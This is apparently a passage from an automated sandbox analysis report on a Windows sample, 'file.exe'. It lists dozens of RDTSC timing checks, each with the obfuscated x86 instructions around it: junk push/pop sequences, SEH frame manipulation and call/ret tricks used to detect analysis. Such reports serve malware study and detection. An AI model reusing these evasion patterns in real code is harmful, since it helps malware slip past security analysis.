[ebp+122D2BABh] 0x0000006a push eax 0x0000006b pushad 0x0000006c jp 00007F31753CFFCCh 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280BCC second address: 1280BD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DCD4 second address: 127DCDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12837DE second address: 12837F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3174D23615h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127EC5D second address: 127EC63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DCDA second address: 127DCE8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127EC63 second address: 127EC69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DCE8 second address: 127DCEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127EC69 second address: 127ECFA instructions: 0x00000000 rdtsc 0x00000002 js 00007F31753CFFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jmp 00007F31753CFFCAh 0x00000012 push dword ptr fs:[00000000h] 0x00000019 jmp 00007F31753CFFD7h 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 jmp 00007F31753CFFD9h 0x0000002a mov eax, dword ptr [ebp+122D0EEDh] 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007F31753CFFC8h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a clc 0x0000004b push FFFFFFFFh 0x0000004d cmc 0x0000004e sub dword ptr [ebp+12450A94h], edi 0x00000054 nop 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 push edi 0x0000005a pop edi 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127ECFA second address: 127ECFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127ECFE second address: 127ED04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127ED04 second address: 127ED40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3174D23618h 0x00000008 jmp 00007F3174D23617h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127ED40 second address: 127ED5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1281ACD second address: 1281B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 push ecx 0x0000000a mov dword ptr [ebp+12461EA8h], eax 0x00000010 pop edi 0x00000011 push dword ptr fs:[00000000h] 0x00000018 movsx edi, di 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 jmp 00007F3174D2360Ch 0x00000027 mov eax, dword ptr [ebp+122D1735h] 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007F3174D23608h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 mov edi, dword ptr [ebp+122D19EBh] 0x0000004d push FFFFFFFFh 0x0000004f mov dword ptr [ebp+122D3B3Eh], edx 0x00000055 nop 0x00000056 jg 00007F3174D23610h 0x0000005c push eax 0x0000005d jc 00007F3174D2361Fh 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1281B4F second address: 1281B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12849FD second address: 1284A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128CD28 second address: 128CD2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128CD2C second address: 128CD3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007F3174D23606h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128CD3B second address: 128CD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128CD41 second address: 128CD46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128CD46 second address: 128CD4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128CD4B second address: 128CD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128CD51 second address: 128CD57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128C493 second address: 128C4AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3174D2360Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128C4AC second address: 128C4B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128C4B0 second address: 128C4C0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F3174D2360Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128C5E6 second address: 128C5EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128C5EC second address: 128C60F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23610h 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F3174D23606h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128C60F second address: 128C613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1290BCB second address: 1290BE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23612h 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F3174D23606h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1290BE9 second address: 1290BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1292FFB second address: 1292FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1292FFF second address: 129303E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFCCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 jmp 00007F31753CFFCFh 0x00000016 popad 0x00000017 jns 00007F31753CFFC8h 0x0000001d push edi 0x0000001e pop edi 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 pushad 0x00000023 jl 00007F31753CFFC8h 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129303E second address: 1293064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3174D23606h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3174D23613h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297A41 second address: 1297A5B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F31753CFFC6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F31753CFFC6h 0x00000014 je 00007F31753CFFC6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297A5B second address: 1297A61 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297E99 second address: 1297E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297E9D second address: 1297EA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298021 second address: 129802F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F31753CFFC6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129802F second address: 1298035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298035 second address: 129803A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12981B1 second address: 12981B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12981B5 second address: 12981DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F31753CFFD6h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F31753CFFC6h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C980 second address: 129C988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C988 second address: 129C9A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F31753CFFD1h 0x0000000a jne 00007F31753CFFCEh 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129CE0F second address: 129CE1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129CE1C second address: 129CE20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129CE20 second address: 129CE2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129CE2A second address: 129CE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D254 second address: 129D25A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230714 second address: 123072B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F31753CFFD2h 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123072B second address: 123073A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123073A second address: 123075B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F31753CFFD7h 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121E054 second address: 121E06E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23614h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121E06E second address: 121E072 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12698EE second address: 10BDC33 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 call 00007F3174D23614h 0x0000000e pop ecx 0x0000000f push dword ptr [ebp+122D0D05h] 0x00000015 push edx 0x00000016 jp 00007F3174D23609h 0x0000001c sub dl, FFFFFFA5h 0x0000001f pop edx 0x00000020 call dword ptr [ebp+122D3A0Dh] 0x00000026 pushad 0x00000027 cmc 0x00000028 xor eax, eax 0x0000002a jmp 00007F3174D23614h 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 sub dword ptr [ebp+122D2409h], esi 0x00000039 sub dword ptr [ebp+122D3837h], eax 0x0000003f mov dword ptr [ebp+122D2E6Fh], eax 0x00000045 mov dword ptr [ebp+122D2409h], ecx 0x0000004b sub dword ptr [ebp+122D18CBh], ecx 0x00000051 mov esi, 0000003Ch 0x00000056 cmc 0x00000057 add esi, dword ptr [esp+24h] 0x0000005b jp 00007F3174D23611h 0x00000061 lodsw 0x00000063 mov dword ptr [ebp+122D18CBh], ebx 0x00000069 add eax, dword ptr [esp+24h] 0x0000006d sub dword ptr [ebp+122D18CBh], edx 0x00000073 mov ebx, dword ptr [esp+24h] 0x00000077 add dword ptr [ebp+122D295Ch], edi 0x0000007d sub dword ptr [ebp+122D2409h], eax 0x00000083 push eax 0x00000084 pushad 0x00000085 pushad 0x00000086 jmp 00007F3174D2360Fh 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269CE7 second address: 1269CF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFCCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269CF7 second address: 1269D2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3174D2360Ch 0x00000008 je 00007F3174D23606h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 jmp 00007F3174D2360Ch 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f jg 00007F3174D23606h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269E0B second address: 1269E1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F31753CFFCFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269F9A second address: 1269FB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23611h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269FB2 second address: 1269FC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F31753CFFC8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A543 second address: 126A54D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3174D23606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A823 second address: 126A83E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F31753CFFD7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A83E second address: 126A864 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3174D23606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edx, dword ptr [ebp+122D188Ch] 0x00000013 lea eax, dword ptr [ebp+1247EFF1h] 0x00000019 and ecx, dword ptr [ebp+122D2E67h] 0x0000001f nop 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A864 second address: 126A868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A868 second address: 126A881 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23615h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A881 second address: 126A88B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F31753CFFC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A88B second address: 12504A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3174D23615h 0x0000000e nop 0x0000000f mov dh, al 0x00000011 call dword ptr [ebp+1244E0F5h] 0x00000017 push ebx 0x00000018 pushad 0x00000019 push eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A8DAA second address: 12A8DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 js 00007F31753CFFC6h 0x0000000d pushad 0x0000000e popad 0x0000000f jl 00007F31753CFFC6h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A8DC4 second address: 12A8DC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A91A0 second address: 12A91A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A91A6 second address: 12A91B6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3174D23606h 0x00000008 jc 00007F3174D23606h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A934A second address: 12A9368 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F31753CFFC6h 0x00000008 jmp 00007F31753CFFD4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9368 second address: 12A936D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A94A6 second address: 12A94AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A94AA second address: 12A94BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F3174D2360Ch 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A94BF second address: 12A94E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F31753CFFD4h 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A94E6 second address: 12A94EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A94EA second address: 12A9500 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F31753CFFCEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE008 second address: 12AE017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 js 00007F3174D23612h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE017 second address: 12AE021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F31753CFFC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE021 second address: 12AE027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE027 second address: 12AE02D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE02D second address: 12AE031 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE031 second address: 12AE040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE7AA second address: 12AE7D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3174D2360Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F3174D2360Ah 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push edx 0x00000018 jc 00007F3174D23606h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2A54 second address: 12B2A5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2A5A second address: 12B2A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3174D2360Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FC31 second address: 121FC58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFCBh 0x00000007 pushad 0x00000008 jmp 00007F31753CFFD7h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
